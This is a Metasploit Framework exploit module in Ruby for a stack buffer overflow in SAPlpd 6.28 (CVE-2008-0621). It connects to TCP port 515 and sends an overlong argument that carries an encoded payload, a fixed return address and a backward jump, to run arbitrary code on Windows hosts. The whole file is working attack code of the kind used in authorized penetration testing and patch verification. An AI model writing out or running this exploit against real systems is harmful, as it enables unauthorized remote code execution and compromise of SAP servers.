1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
## # $Id: saplpd.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'SAP SAPLPD 6.28 Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) . By sending an overly long argument, an attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-0621' ], [ 'OSVDB', '41127' ], [ 'BID', '27613' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 400, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets'=> [ [ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006 ], 'Privileged' => true, 'DisclosureDate' => 'Feb 4 2008', 'DefaultTarget'=> 0)) register_options([Opt::RPORT(515)], self) end def exploit connect sploit ="\x02" sploit << rand_text_alpha_upper(484 - payload.encoded.length) sploit << payload.encoded sploit << [target.ret].pack('V') sploit << [0xe9, -375].pack('CV') print_status("Trying target #{target.name}...") sock.puts(sploit) handler disconnect end end |